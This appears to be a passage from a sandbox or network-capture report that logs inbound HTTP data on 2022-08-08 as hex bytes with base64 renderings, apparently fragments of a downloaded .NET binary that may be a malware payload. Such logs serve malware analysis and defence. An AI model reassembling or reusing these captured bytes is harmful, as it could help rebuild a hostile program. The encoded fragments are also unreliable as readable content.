57 6d 69 67 52 41 41 41 4b 45 77 68 30 45 67 41 41 47 78 4d 4c 45 51 6f 52 42 68 45 4c 62 78 63 42 41 41 70 76 48 67 4
5 41 43 68 59 6f 37 67 45 41 43 69 6a 55 41 51 41 4b 4b 43 34 43 41 41 5a 76 65 41 41 41 43 6d 38 6b 41 67 41 47 33 
6a 38 6f 4e 77 41 41 43 68 45 49 64 42 49 41 41 42 73 54 43 78 45 4b 
Data Ascii: AAGb7IBAAooEQAAChMIEQhvcwEACtAVAAABKBQAAAozExEKEQgonAAACm8kAgAGOLoAA
AARBhQohAIABheNBwAAARMWERYWEQgoEQAACqIRFhMXERcUFBeNLwAAARMYERgWF5wRGCijAAAKERgWk
CwLERcWmigRAAAKEwh0EgAAGxMLEQoRBhELbxcBAApvHgEAChYo7gEACijUAQAKKC4CAAZveAAACm8kA
gAG3j8oNwAAChEIdBIAABsTCxEK

2022-08-08 10:54:13 UTC 86 IN Data Raw: 68 4d 49 45 51 67 6f 6e 41 41 41 43 69 69 50 41 51 41 4b 4c 57 56 7a 49 67 49 41 42 68 4d 4a 45 51 6b 49 45 
51 52 76 41 41 49 41 43 6e 73 44 41 67 41 4b 62 79 6f 43 41 41 59 52 43 52 45 49 46 43 69 4c 42 41 41 47 46 6f 30 48 
41 41 41 42 46 42 51 55 4b 4b 4d 41 41 41 6f 6f 6e 41 41 41 43 6d 38 6d 41 67 41 47 45 51 6b 49 45 51 52 76 41 41 49 
41 43 6e 73 43 41 67 41 4b 62 79 67 43 41 41 59 52 43 53 67 75 41 67 41 47 62 79 51 43 41 41 59 47 45 51 6c 76 45 67 
45 41 43 74 34 4d 4b 44 63 41 41 41 6f 6f 4f 41 41 41 43 74 34 41 45 51 51 58 31 68 4d 45 45 51 51 52 45 6a 37 51 2f 76 
2f 2f 63 2f 73 42 41 41 6f 4e 43 53 69 4d 42 41 41 47 4b 49 30 45 41 41 59 6f 49 77 41 41 43 69 69 4f 42 41 41 47 4b 43 
51 41 41 41 6f 6f 6a 77 51 41 42 6e 50 38 41 51 41 4b 62 2f 30 42 
Data Ascii: hMIEQgonAAACiiPAQAKLWVzIgIABhMJEQkIEQRvAAIACnsDAgAKbyoCAAYRCREIFCiLBAAGFo0HAAA
BFBQUKKMAAAoonAAACm8mAgAGEQkIEQRvAAIACnsCAgAKbygCAAYRCSguAgAGbyQCAAYGEQlvEgEACt4
MKDcAAAooOAAACt4AEQQX1hMEEQQREj7Q/v//c/sBAAoNCSiMBAAGKI0EAAYoIwAACiiOBAAGKCQAAAo
ojwQABnP8AQAKb/0B

2022-08-08 10:54:13 UTC 94 IN Data Raw: 67 45 41 43 74 34 56 4a 53 67 33 41 41 41 4b 45 77 78 7a 75 67 41 41 43 67 73 6f 4f 41 41 41 43 74 34 43 42 
69 6f 48 4b 67 41 41 41 52 41 41 41 41 41 41 4d 41 44 68 45 51 45 56 47 67 41 41 41 52 73 77 42 41 41 75 41 41 41 41 
49 41 41 41 45 53 69 58 41 41 41 4b 41 69 68 6d 41 51 41 4b 46 42 63 6f 6b 67 45 41 43 6d 38 58 41 51 41 4b 43 74 34 
53 4b 44 63 41 41 41 6f 6f 4c 67 49 41 42 67 6f 6f 4f 41 41 41 43 74 34 41 42 69 6f 41 41 41 45 51 41 41 41 41 41 41 41 
41 47 68 6f 41 45 68 6f 41 41 41 45 62 4d 41 51 41 49 77 41 41 41 43 41 41 41 42 45 6f 6c 77 41 41 43 67 49 55 46 69 6
9 53 41 51 41 4b 62 78 63 42 41 41 6f 4b 33 67 77 6f 4e 77 41 41 43 69 67 34 41 41 41 4b 33 67 41 47 4b 67 41 42 45 41 
41 41 41 41 41 41 41 42 55 56 41 41 77 61 41 41 41 42 48 67 49 6f 
Data Ascii: gEACt4VJSg3AAAKEwxzugAACgsoOAAACt4CBioHKgAAARAAAAAAMADhEQEVGgAAARswBAAuAAAAIAA
AESiXAAAKAihmAQAKFBcokgEACm8XAQAKCt4SKDcAAAooLgIABgooOAAACt4ABioAAAEQAAAAAAAAGho
AEhoAAAEbMAQAIwAAACAAABEolwAACgIUFiiSAQAKbxcBAAoK3gwoNwAACig4AAAK3gAGKgABEAAAAAA
AABUVAAwaAAABHgIo

2022-08-08 10:54:13 UTC 101 IN Data Raw: 78 67 54 42 41 41 52 42 42 6e 2b 41 53 77 51 41 68 64 76 4e 41 49 41 43 69 67 31 41 67 41 4b 43 78 6f 54 
42 41 41 52 42 42 6a 2b 41 53 77 51 41 68 5a 76 4e 41 49 41 43 69 67 31 41 67 41 4b 43 68 6b 54 42 41 41 52 42 42 72 
2b 41 53 77 62 49 50 38 41 41 41 41 47 47 6d 49 48 31 69 43 6a 41 41 41 41 59 53 44 2f 41 41 41 41 58 32 45 4e 47 78 
4d 45 41 42 45 45 46 76 34 42 4c 41 4d 58 45 77 51 41 45 51 51 62 2f 67 45 73 41 69 73 43 4b 34 73 4a 4b 67 41 62 4d 
41 4d 41 36 77 49 41 41 4b 38 41 41 42 45 43 66 70 4d 41 41 41 6f 57 4b 43 34 41 41 41 6f 57 4c 69 41 44 66 70 4d 41 
41 41 6f 57 4b 43 34 41 41 41 6f 57 4d 77 49 72 44 77 52 2b 6b 77 41 41 43 68 59 6f 4c 67 41 41 43 68 59 7a 43 79 67 
75 41 67 41 47 43 74 32 76 41 67 41 41 41 78 4d 48 63 37 77 41 41 41 6f 4c 
Data Ascii: xgTBAARBBn+ASwQAhdvNAIACig1AgAKCxoTBAARBBj+ASwQAhZvNAIACig1AgAKChkTBAARBBr+ASw
bIP8AAAAGGmIH1iCjAAAAYSD/AAAAX2ENGxMEABEEFv4BLAMXEwQAEQQb/gEsAisCK4sJKgAbMAMA6wI
AAK8AABECfpMAAAoWKC4AAAoWLiADfpMAAAoWKC4AAAoWMwIrDwR+kwAAChYoLgAAChYzCyguAgAGCt2
vAgAAAxMHc7wAAAoL
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2022-08-08 10:54:13 UTC 109 IN Data Raw: 6f 38 70 41 41 41 43 65 38 34 41 41 41 51 66 43 57 6f 2b 6c 51 41 41 41 41 49 52 42 52 45 48 4b 46 6f 41 41 
41 71 50 4b 51 41 41 41 6e 76 4f 41 41 41 45 62 34 4d 42 41 41 59 73 50 52 45 46 45 51 63 6f 57 67 41 41 43 6f 38 70 
41 41 41 43 45 51 55 52 42 79 68 61 41 41 41 4b 6a 79 6b 41 41 41 4a 37 7a 67 41 41 42 42 38 4e 61 74 70 73 49 77 41 
41 41 41 41 41 41 41 42 41 57 79 69 52 41 41 41 4b 75 58 33 4e 41 41 41 45 4b 32 77 52 42 52 45 48 4b 46 6f 41 41 41 
71 50 4b 51 41 41 41 68 45 46 45 51 63 6f 57 67 41 41 43 6f 38 70 41 41 41 43 65 38 34 41 41 41 51 66 44 47 72 61 62 
43 4d 41 41 41 41 41 41 41 41 41 51 46 73 6f 6b 51 41 41 43 72 6c 39 7a 51 41 41 42 43 73 76 45 51 55 52 42 79 68 61 
41 41 41 4b 6a 79 6b 41 41 41 49 43 65 38 6f 41 41 41 51 52 42 52 45 48 
Data Ascii: o8pAAACe84AAAQfCWo+lQAAAAIRBREHKFoAAAqPKQAAAnvOAAAEb4MBAAYsPREFEQcoW
gAACo8pAAACEQURByhaAAAKjykAAAJ7zgAABB8NatpsIwAAAAAAAABAWyiRAAAKuX3NAAAEK2wRBREHK
FoAAAqPKQAAAhEFEQcoWgAACo8pAAACe84AAAQfDGrabCMAAAAAAAAAQFsokQAACrl9zQAABCsvEQURB
yhaAAAKjykAAAICe8oAAAQRBREH

2022-08-08 10:54:13 UTC 117 IN Data Raw: 68 4d 50 45 77 73 34 7a 77 41 41 41 41 4a 37 33 41 41 41 42 42 45 4c 6d 68 4d 4e 41 6e 76 63 41 41 41 45 
45 51 73 58 31 70 6f 54 44 41 4a 37 33 51 41 41 42 43 78 4f 45 51 59 52 44 42 51 6f 31 77 51 41 42 68 61 4e 42 77 41 
41 41 52 51 55 46 43 69 6a 41 41 41 4b 4b 4a 77 41 41 41 6f 52 44 42 51 6f 76 67 49 41 42 68 61 4e 42 77 41 41 41 52 5
1 55 46 43 69 6a 41 41 41 4b 4b 46 6f 41 41 41 6f 52 44 58 51 79 41 41 41 43 41 6e 76 5a 41 41 41 45 4b 48 55 41 41 41 
59 54 43 69 74 48 45 51 59 52 44 42 51 6f 31 77 51 41 42 68 61 4e 42 77 41 41 41 52 51 55 46 43 69 6a 41 41 41 4b 4b 
4a 77 41 41 41 6f 52 44 42 51 6f 76 67 49 41 42 68 61 4e 42 77 41 41 41 52 51 55 46 43 69 6a 41 41 41 4b 4b 46 6f 41 
41 41 6f 52 44 58 51 79 41 41 41 43 46 43 68 31 41 41 41 47 45 77 6f 52 
Data Ascii: hMPEws4zwAAAAJ73AAABBELmhMNAnvcAAAEEQsX1poTDAJ73QAABCxOEQYRDBQo1wQAB
haNBwAAARQUFCijAAAKKJwAAAoRDBQovgIABhaNBwAAARQUFCijAAAKKFoAAAoRDXQyAAACAnvZAAAEK
HUAAAYTCitHEQYRDBQo1wQABhaNBwAAARQUFCijAAAKKJwAAAoRDBQovgIABhaNBwAAARQUFCijAAAKK
FoAAAoRDXQyAAACFCh1AAAGEwoR

2022-08-08 10:54:13 UTC 125 IN Data Raw: 78 38 52 45 77 55 41 45 51 55 57 2f 67 45 73 41 78 63 54 42 51 41 52 42 52 38 58 2f 67 45 73 41 69 73 46 4f 
4f 6e 39 2f 2f 38 71 45 7a 41 46 41 41 55 43 41 41 44 59 41 41 41 52 41 6e 73 51 41 51 41 45 4c 51 73 6f 77 67 51 41 42 
6e 4f 44 41 67 41 4b 65 6e 4e 2f 41 67 41 4b 44 42 59 4b 4f 4e 55 42 41 41 41 43 65 78 41 42 41 41 51 47 4b 42 45 42 
41 41 6f 54 45 42 45 51 62 69 42 51 53 77 45 43 61 6b 44 48 41 51 41 41 41 6e 73 51 41 51 41 45 42 68 37 57 4b 49 73 
43 41 41 6f 67 41 41 67 41 41 46 38 57 2f 67 45 57 2f 67 45 54 42 77 4a 37 45 41 45 41 42 41 59 66 43 74 59 6f 69 77 49 
41 43 68 4d 4e 41 6e 73 51 41 51 41 45 42 68 38 4d 31 69 67 52 41 51 41 4b 45 77 34 43 65 78 41 42 41 41 51 47 48 78 
44 57 4b 42 45 42 41 41 6f 54 42 51 4a 37 45 41 45 41 42 41 59 66 
Data Ascii: x8REwUAEQUW/gEsAxcTBQARBR8X/gEsAisFOOn9//8qEzAFAAUCAADYAAARAnsQAQAELQsowgQABnO
DAgAKenN/AgAKDBYKONUBAAACexABAAQGKBEBAAoTEBEQbiBQSwECakDHAQAAAnsQAQAEBh7WKIsCAAo
gAAgAAF8W/gEW/gETBwJ7EAEABAYfCtYoiwIAChMNAnsQAQAEBh8M1igRAQAKEw4CexABAAQGHxDWKBE
BAAoTBQJ7EAEABAYf

2022-08-08 10:54:13 UTC 133 IN Data Raw: 67 41 4b 48 77 38 4d 41 41 67 66 44 2f 34 42 4c 42 73 44 66 43 4d 42 41 41 51 6f 70 77 49 41 43 69 69 63 41 
67 41 4b 42 68 38 34 62 36 59 43 41 41 6f 66 45 41 77 41 43 42 38 4d 2f 67 45 73 45 52 63 6f 6d 51 49 41 43 67 59 66 4c 
47 2b 6d 41 67 41 4b 48 77 30 4d 41 41 67 66 43 2f 34 42 4c 42 49 66 49 43 69 5a 41 67 41 4b 42 68 38 6d 62 36 59 43 
41 41 6f 66 44 41 77 41 43 42 33 2b 41 53 77 56 41 33 73 62 41 51 41 45 4b 4a 77 43 41 41 6f 47 48 77 78 76 70 67 49 
41 43 68 34 4d 41 41 67 57 2f 67 45 73 41 68 63 4d 41 41 67 66 45 66 34 42 4c 41 49 72 42 54 68 4d 2f 76 2f 2f 42 69 6f 
41 41 41 41 54 4d 41 51 41 6b 67 49 41 41 4f 51 41 41 42 45 57 45 77 67 34 68 41 49 41 41 41 41 52 43 42 38 53 2f 67 4
5 73 44 41 63 66 43 6b 42 38 41 41 41 41 48 78 4d 54 43 41 41 52 
Data Ascii: gAKHw8MAAgfD/4BLBsDfCMBAAQopwIACiicAgAKBh84b6YCAAofEAwACB8M/gEsERcomQIACgYfLG+
mAgAKHw0MAAgfC/4BLBIfICiZAgAKBh8mb6YCAAofDAwACB3+ASwVA3sbAQAEKJwCAAoGHwxvpgIACh4
MAAgW/gEsAhcMAAgfEf4BLAIrBThM/v//BioAAAATMAQAkgIAAOQAABEWEwg4hAIAAAARCB8S/gEsDAcfCkB8AAAAH
xMTCAAR

2022-08-08 10:54:13 UTC 140 IN Data Raw: 77 6b 6f 56 77 49 41 42 6d 39 73 41 67 41 4b 4a 68 34 54 42 51 41 52 42 52 37 2b 41 53 77 63 43 51 59 49 
6a 79 73 41 41 41 45 6f 45 51 55 41 42 69 6a 44 41 67 41 4b 62 32 77 43 41 41 6f 6d 48 77 6b 54 42 51 41 52 42 52 76 
2b 41 53 77 49 4f 49 34 41 41 41 41 63 45 77 55 41 45 51 55 61 2f 67 45 73 44 42 59 47 6a 72 63 58 32 68 4d 45 44 42 7
3 54 42 51 41 52 42 52 38 4a 2f 67 45 73 43 41 67 58 31 67 77 66 43 68 4d 46 41 42 45 46 46 2f 34 42 4c 41 4d 59 45 77 
55 41 45 51 55 63 2f 67 45 73 48 41 67 59 58 52 62 2b 41 51 67 47 6a 72 63 58 32 76 34 42 46 76 34 42 58 77 67 57 2f 
67 4a 66 4c 49 4d 64 45 77 55 41 45 51 55 59 2f 67 45 73 46 51 49 6f 6c 77 41 41 43 67 4e 76 6d 41 41 41 43 6d 38 69 
41 51 41 4b 43 68 6b 54 42 51 41 52 42 52 6e 2b 41 53 77 4a 63 37 6b 41 
Data Ascii: wkoVwIABm9sAgAKJh4TBQARBR7+ASwcCQYIjysAAAEoEQUABijDAgAKb2wCAAomHwkTBQARBRv+ASw
IOI4AAAAcEwUAEQUa/gEsDBYGjrcX2hMEDBsTBQARBR8J/gEsCAgX1gwfChMFABEFF/4BLAMYEwUAEQU
c/gEsHAgYXRb+AQgGjrcX2v4BFv4BXwgW/gJfLIMdEwUAEQUY/gEsFQIolwAACgNvmAAACm8iAQAKChk
TBQARBRn+ASwJc7kA

2022-08-08 10:54:13 UTC 148 IN Data Raw: 52 4d 4e 41 42 45 4e 46 76 34 42 4c 41 4d 58 45 77 30 41 45 51 30 66 47 2f 34 42 4c 41 49 72 42 54 68 76 2f 
50 2f 2f 41 67 4a 37 52 41 45 41 42 47 34 58 61 74 61 34 66 55 51 42 41 41 51 47 4b 68 4d 77 42 67 41 7a 41 51 41 41 
2b 51 41 41 45 52 59 54 42 7a 67 66 41 51 41 41 41 42 45 48 47 76 34 42 4c 41 73 61 6a 53 73 41 41 41 45 54 42 68 73 
54 42 77 41 52 42 78 66 2b 41 53 77 44 47 42 4d 48 41 42 45 48 48 66 34 42 4c 43 63 52 42 68 67 47 46 34 30 48 41 41 
41 42 45 77 51 52 42 42 59 58 6a 44 38 41 41 41 47 69 45 51 51 55 4b 4b 30 41 41 41 6f 6f 33 51 49 41 43 70 77 65 45 
77 63 41 45 51 63 62 2f 67 45 73 4a 42 45 47 46 67 59 58 6a 51 63 41 41 41 45 4d 43 42 59 5a 6a 44 38 41 41 41 47 69 
43 42 51 6f 72 51 41 41 43 69 6a 64 41 67 41 4b 6e 42 77 54 42 77 41 52 
Data Ascii: RMNABENFv4BLAMXEw0AEQ0fG/4BLAIrBThv/P//AgJ7RAEABG4Xata4fUQBAAQGKhMwBgAzAQAA+QA
AERYTBzgfAQAAABEHGv4BLAsajSsAAAETBhsTBwARBxf+ASwDGBMHABEHHf4BLCcRBhgGF40HAAABEwQ
RBBYXjD8AAAGiEQQUKK0AAAoo3QIACpweEwcAEQcb/gEsJBEGFgYXjQcAAAEMCBYZjD8AAAGiCBQorQA
ACijdAgAKnBwTBwAR

2022-08-08 10:54:13 UTC 156 IN Data Raw: 77 34 52 44 6e 35 4d 41 51 41 45 45 51 38 6f 48 41 49 41 42 68 4d 4c 63 79 49 43 41 41 59 54 45 42 45 51 43 
47 38 6f 41 67 41 47 45 52 41 52 44 43 67 75 42 51 41 47 4b 43 34 43 41 41 59 6f 36 77 49 41 43 6d 38 6b 41 67 41 47 
45 52 41 52 43 79 67 75 42 51 41 47 4b 43 34 43 41 41 59 6f 36 77 49 41 43 6d 38 6d 41 67 41 47 45 52 41 44 62 79 6f 
43 41 41 59 47 45 52 42 76 45 67 45 41 43 74 34 50 4a 53 67 33 41 41 41 4b 45 78 51 6f 4f 41 41 41 43 74 34 41 45 51 6
f 58 31 68 4d 4b 45 51 6f 52 46 7a 35 31 2f 76 2f 2f 45 52 55 58 31 68 4d 56 45 52 55 52 46 6f 36 33 50 2b 76 39 2f 2f 38 
47 4b 67 42 42 4e 41 41 41 41 41 41 41 41 46 4d 41 41 41 41 4c 41 41 41 41 58 67 41 41 41 42 49 41 41 41 41 61 41 41 
41 42 41 41 41 41 41 4a 30 41 41 41 42 74 41 51 41 41 43 67 49 41 
Data Ascii: w4RDn5MAQAEEQ8oHAIABhMLcyICAAYTEBEQCG8oAgAGERARDCguBQAGKC4CAAYo6wIAC
m8kAgAGERARCyguBQAGKC4CAAYo6wIACm8mAgAGERADbyoCAAYGERBvEgEACt4PJSg3AAAKExQoOAAAC
t4AEQoX1hMKEQoRFz51/v//ERUX1hMVERURFo63P+v9//8GKgBBNAAAAAAAAFMAAAALAAAAXgAAABIAA
AAaAAABAAAAAJ0AAABtAQAACgIA
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2022-08-08 10:54:13 UTC 164 IN Data Raw: 43 30 43 41 41 59 71 68 6e 36 5a 41 51 41 45 49 49 49 41 41 41 43 61 4a 53 30 53 4a 69 43 43 41 41 41 41 
49 45 73 47 41 41 41 66 48 69 67 74 41 67 41 47 4b 6f 4a 2b 6d 51 45 41 42 43 43 44 41 41 41 41 6d 69 55 74 45 53 59 
67 67 77 41 41 41 43 42 70 42 67 41 41 48 43 67 74 41 67 41 47 4b 6f 5a 2b 6d 51 45 41 42 43 43 45 41 41 41 41 6d 69 
55 74 45 69 59 67 68 41 41 41 41 43 42 76 42 67 41 41 48 78 67 6f 4c 51 49 41 42 69 71 47 66 70 6b 42 41 41 51 67 68 
51 41 41 41 4a 6f 6c 4c 52 49 6d 49 49 55 41 41 41 41 67 68 77 59 41 41 42 38 4b 4b 43 30 43 41 41 59 71 68 6e 36 5a 
41 51 41 45 49 49 59 41 41 41 43 61 4a 53 30 53 4a 69 43 47 41 41 41 41 49 4a 45 47 41 41 41 66 4d 79 67 74 41 67 41 
47 4b 6f 4a 2b 6d 51 45 41 42 43 43 48 41 41 41 41 6d 69 55 74 45 53 59 67 
Data Ascii: C0CAAYqhn6ZAQAEIIIAAACaJS0SJiCCAAAAIEsGAAAfHigtAgAGKoJ+mQEABCCDAAAAmiUtESYggwA
AACBpBgAAHCgtAgAGKoZ+mQEABCCEAAAAmiUtEiYghAAAACBvBgAAHxgoLQIABiqGfpkBAAQghQAAAJo
lLRImIIUAAAAghwYAAB8KKC0CAAYqhn6ZAQAEIIYAAACaJS0SJiCGAAAAIJEGAAAfMygtAgAGKoJ+mQE
ABCCHAAAAmiUtESYg

2022-08-08 10:54:13 UTC 172 IN Data Raw: 41 45 41 41 43 42 7a 45 51 41 41 48 77 6f 6f 4c 51 49 41 42 69 71 47 66 70 6b 42 41 41 51 67 4e 51 45 41 41 
4a 6f 6c 4c 52 49 6d 49 44 55 42 41 41 41 67 66 52 45 41 41 42 38 4f 4b 43 30 43 41 41 59 71 68 6e 36 5a 41 51 41 45 
49 44 59 42 41 41 43 61 4a 53 30 53 4a 69 41 32 41 51 41 41 49 49 73 52 41 41 41 66 44 69 67 74 41 67 41 47 4b 6f 4a 
2b 6d 51 45 41 42 43 41 33 41 51 41 41 6d 69 55 74 45 53 59 67 4e 77 45 41 41 43 43 5a 45 51 41 41 47 53 67 74 41 67 
41 47 4b 6f 4a 2b 6d 51 45 41 42 43 41 34 41 51 41 41 6d 69 55 74 45 53 59 67 4f 41 45 41 41 43 43 63 45 51 41 41 47 
53 67 74 41 67 41 47 4b 6f 5a 2b 6d 51 45 41 42 43 41 35 41 51 41 41 6d 69 55 74 45 69 59 67 4f 51 45 41 41 43 43 66 
45 51 41 41 48 77 77 6f 4c 51 49 41 42 69 71 47 66 70 6b 42 41 41 51 67 
Data Ascii: AEAACBzEQAAHwooLQIABiqGfpkBAAQgNQEAAJolLRImIDUBAAAgfREAAB8OKC0CAAYqhn6ZAQAEIDY
BAACaJS0SJiA2AQAAIIsRAAAfDigtAgAGKoJ+mQEABCA3AQAAmiUtESYgNwEAACCZEQAAGSgtAgAGKoJ
+mQEABCA4AQAAmiUtESYgOAEAACCcEQAAGSgtAgAGKoZ+mQEABCA5AQAAmiUtEiYgOQEAACCfEQAAHww
oLQIABiqGfpkBAAQg

2022-08-08 10:54:13 UTC 179 IN Data Raw: 70 6b 42 41 41 51 67 35 77 45 41 41 4a 6f 6c 4c 52 49 6d 49 4f 63 42 41 41 41 67 75 78 73 41 41 42 38 4c 4b 
43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 4f 67 42 41 41 43 61 4a 53 30 52 4a 69 44 6f 41 51 41 41 49 4d 59 62 
41 41 41 63 4b 43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 4f 6b 42 41 41 43 61 4a 53 30 52 4a 69 44 70 41 51 41 
41 49 4d 77 62 41 41 41 64 4b 43 30 43 41 41 59 71 68 6e 36 5a 41 51 41 45 49 4f 6f 42 41 41 43 61 4a 53 30 53 4a 69 4
4 71 41 51 41 41 49 4e 4d 62 41 41 41 66 43 69 67 74 41 67 41 47 4b 6f 5a 2b 6d 51 45 41 42 43 44 72 41 51 41 41 6d 
69 55 74 45 69 59 67 36 77 45 41 41 43 44 64 47 77 41 41 48 77 73 6f 4c 51 49 41 42 69 71 43 66 70 6b 42 41 41 51 67 
37 41 45 41 41 4a 6f 6c 4c 52 45 6d 49 4f 77 42 41 41 41 67 36 42 73 41 
Data Ascii: pkBAAQg5wEAAJolLRImIOcBAAAguxsAAB8LKC0CAAYqgn6ZAQAEIOgBAACaJS0RJiDoAQAAIMYbAAA
cKC0CAAYqgn6ZAQAEIOkBAACaJS0RJiDpAQAAIMwbAAAdKC0CAAYqhn6ZAQAEIOoBAACaJS0SJiDqAQA
AINMbAAAfCigtAgAGKoZ+mQEABCDrAQAAmiUtEiYg6wEAACDdGwAAHwsoLQIABiqCfpkBAAQg7AEAAJo
lLREmIOwBAAAg6BsA

2022-08-08 10:54:13 UTC 187 IN Data Raw: 41 41 59 4b 43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 4a 6f 43 41 41 43 61 4a 53 30 52 4a 69 43 61 
41 67 41 41 49 4f 63 6d 41 41 41 58 4b 43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 4a 73 43 41 41 43 61 4a 53 30 
52 4a 69 43 62 41 67 41 41 49 4f 67 6d 41 41 41 59 4b 43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 4a 77 43 41 41 
43 61 4a 53 30 52 4a 69 43 63 41 67 41 41 49 4f 6f 6d 41 41 41 63 4b 43 30 43 41 41 59 71 67 6e 36 5a 41 51 41 45 49 
4a 30 43 41 41 43 61 4a 53 30 52 4a 69 43 64 41 67 41 41 49 50 41 6d 41 41 41 58 4b 43 30 43 41 41 59 71 67 6e 36 5a 
41 51 41 45 49 4a 34 43 41 41 43 61 4a 53 30 52 4a 69 43 65 41 67 41 41 49 50 45 6d 41 41 41 65 4b 43 30 43 41 41 59 
71 67 6e 36 5a 41 51 41 45 49 4a 38 43 41 41 43 61 4a 53 30 52 4a 69 43 66 
Data Ascii: AAYKC0CAAYqgn6ZAQAEIJoCAACaJS0RJiCaAgAAIOcmAAAXKC0CAAYqgn6ZAQAEIJsCAACaJS0RJiC
bAgAAIOgmAAAYKC0CAAYqgn6ZAQAEIJwCAACaJS0RJiCcAgAAIOomAAAcKC0CAAYqgn6ZAQAEIJ0CAAC
aJS0RJiCdAgAAIPAmAAAXKC0CAAYqgn6ZAQAEIJ4CAACaJS0RJiCeAgAAIPEmAAAeKC0CAAYqgn6ZAQA
EIJ8CAACaJS0RJiCf

2022-08-08 10:54:13 UTC 195 IN Data Raw: 47 4e 36 51 6e 77 50 48 41 30 62 50 79 59 38 54 54 45 57 45 67 63 33 4c 6a 52 46 4b 51 34 4b 48 79 49 71 
44 78 67 41 55 7a 51 51 41 68 59 33 47 69 55 38 4a 79 63 4e 49 43 4d 36 4c 53 30 63 41 69 6b 6f 4d 79 6f 30 42 77 30 
71 4f 79 31 38 47 54 4d 6e 4d 52 41 47 42 78 41 55 2f 75 72 30 36 73 48 64 79 65 76 32 38 2f 7a 53 7a 39 50 42 31 70 5
4 53 33 4d 48 32 39 50 6e 6b 37 66 44 6c 34 2b 54 79 2b 75 48 56 33 74 76 4d 33 4e 50 66 34 75 54 33 39 2b 44 30 34 
74 6a 44 7a 73 76 50 2b 4f 7a 36 77 4e 37 64 77 64 58 58 77 73 66 49 78 6f 4f 66 6a 5a 71 79 70 34 4f 65 6c 71 75 72 70 
4c 2b 34 70 37 43 6f 71 62 32 33 71 71 43 70 72 72 65 68 6f 35 36 51 67 34 4f 55 75 4b 36 4f 6e 5a 36 59 72 62 2b 6e 67 
49 2b 54 67 34 47 51 6c 59 6d 79 72 4c 79 74 6a 37 4f 76 70 6f 61 6a 
Data Ascii: GN6QnwPHA0bPyY8TTEWEgc3LjRFKQ4KHyIqDxgAUzQQAhY3GiU8JycNICM6LS0cAikoMyo0Bw0qOy1
8GTMnMRAGBxAU/ur06sHdyev28/zSz9PB1pTS3MH29Pnk7fDl4+Ty+uHV3tvM3NPf4uT39+D04tjDzsvP+Oz6wN7dw
dXXwsfIxoOfjZqyp4OelqurpL+4p7Coqb23qqCprreho56Qg4OUuK6OnZ6Yrb+ngI+Tg4GQlYmyrLytj7Ovpoaj

2022-08-08 10:54:13 UTC 203 IN Data Raw: 4c 53 30 73 4c 43 73 72 4b 43 67 33 39 33 66 32 64 66 56 31 39 6e 66 33 64 2f 5a 70 36 57 6e 75 62 2b 39 76 
37 6d 33 74 62 65 35 76 37 32 46 68 35 6d 66 6e 5a 2b 5a 6c 35 57 58 6d 5a 2b 64 6e 35 6d 48 68 59 65 35 76 37 32 2f 
75 62 65 31 74 35 36 58 71 4b 54 6d 68 61 57 78 2b 34 65 5a 75 72 32 77 71 62 4f 6d 2f 5a 4f 58 6d 4b 32 75 72 79 6f 72 
4b 48 31 47 53 6d 35 4d 56 6d 74 72 5a 48 39 34 5a 33 42 6f 61 58 31 33 61 6d 42 70 62 6e 64 68 62 47 4a 5a 55 55 42 
43 61 33 6c 74 56 56 78 6d 59 55 78 77 64 33 4e 64 52 44 56 59 56 6e 39 76 62 48 42 77 65 47 39 5a 63 32 64 78 56 58 
39 6c 55 6e 6f 47 44 77 30 62 51 41 4d 66 47 54 34 75 41 51 67 4b 42 51 73 64 56 42 49 57 45 44 38 63 48 78 49 48 48 
51 51 69 4f 79 4d 6b 4a 69 38 35 50 69 77 38 41 69 30 6b 4c 67 49 6b 
Data Ascii: LS0sLCsrKCg393f2dfV19nf3d/Zp6Wnub+9v7m3tbe5v72Fh5mfnZ+Zl5WXmZ+dn5mHhYe5v72/ube
1t56XqKTmhaWx+4eZur2wqbOm/ZOXmK2uryorKH1GSm5MVmtrZH94Z3BoaX13amBpbndhbGJZUUBCa3l
tVVxmYUxwd3NdRDVYVn9vbHBweG9Zc2dxVX9lUnoGDw0bQAMfGT4uAQgKBQsdVBIWED8cHxIHHQQiOyM
kJi85Piw8Ai0kLgIk

2022-08-08 10:54:13 UTC 211 IN Data Raw: 4d 34 68 57 67 51 47 41 4f 73 41 72 52 6f 53 41 44 49 75 47 69 30 47 41 41 6b 41 4b 44 4d 47 41 4e 6f 41 4b 
44 4d 61 41 45 45 71 52 79 34 61 41 48 63 64 52 79 34 61 41 4f 77 47 52 79 34 47 41 4a 38 41 58 41 63 47 41 4b 6f 59 
4b 44 4d 47 41 45 49 6e 4a 78 30 47 41 48 38 69 72 52 6f 47 41 4e 73 68 4b 44 4d 47 41 41 51 42 4b 44 4d 53 41 4c 38 
52 43 68 6b 47 41 4c 30 4c 72 52 6f 47 41 42 63 53 66 53 59 47 41 4a 63 53 66 53 59 47 41 42 6f 52 4e 79 59 41 41 41 4
1 41 50 51 45 41 41 41 41 41 41 51 41 42 41 41 41 41 41 41 43 58 41 5a 63 42 42 51 41 42 41 41 45 41 41 41 41 41 41 
50 63 47 6c 77 45 56 41 41 45 41 41 67 41 41 41 52 41 41 78 41 47 58 41 52 30 41 41 51 41 44 41 41 55 42 41 41 43 58 
41 51 41 41 48 51 41 46 41 41 67 41 42 51 45 41 41 41 34 41 41 41 41 64 
Data Ascii: M4hWgQGAOsArRoSADIuGi0GAAkAKDMGANoAKDMaAEEqRy4aAHcdRy4aAOwGRy4GAJ8AX
AcGAKoYKDMGAEInJx0GAH8irRoGANshKDMGAAQBKDMSAL8RChkGAL0LrRoGABcSfSYGAJcSfSYGABoRN
yYAAAAAPQEAAAAAAQABAAAAAACXAZcBBQABAAEAAAAAAPcGlwEVAAEAAgAAARAAxAGXAR0AAQADAAUBA
ACXAQAAHQAFAAgABQEAAA4AAAAd
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2022-08-08 10:54:13 UTC 219 IN Data Raw: 41 4d 41 52 67 4e 6c 43 32 55 51 4a 51 41 41 41 41 41 41 41 77 41 47 47 43 49 6c 38 51 49 6c 41 41 41 41 
41 41 41 44 41 45 59 44 59 41 74 59 45 43 55 41 41 41 41 41 41 41 4d 41 52 67 4e 57 43 37 73 50 4a 51 41 41 41 41 41 
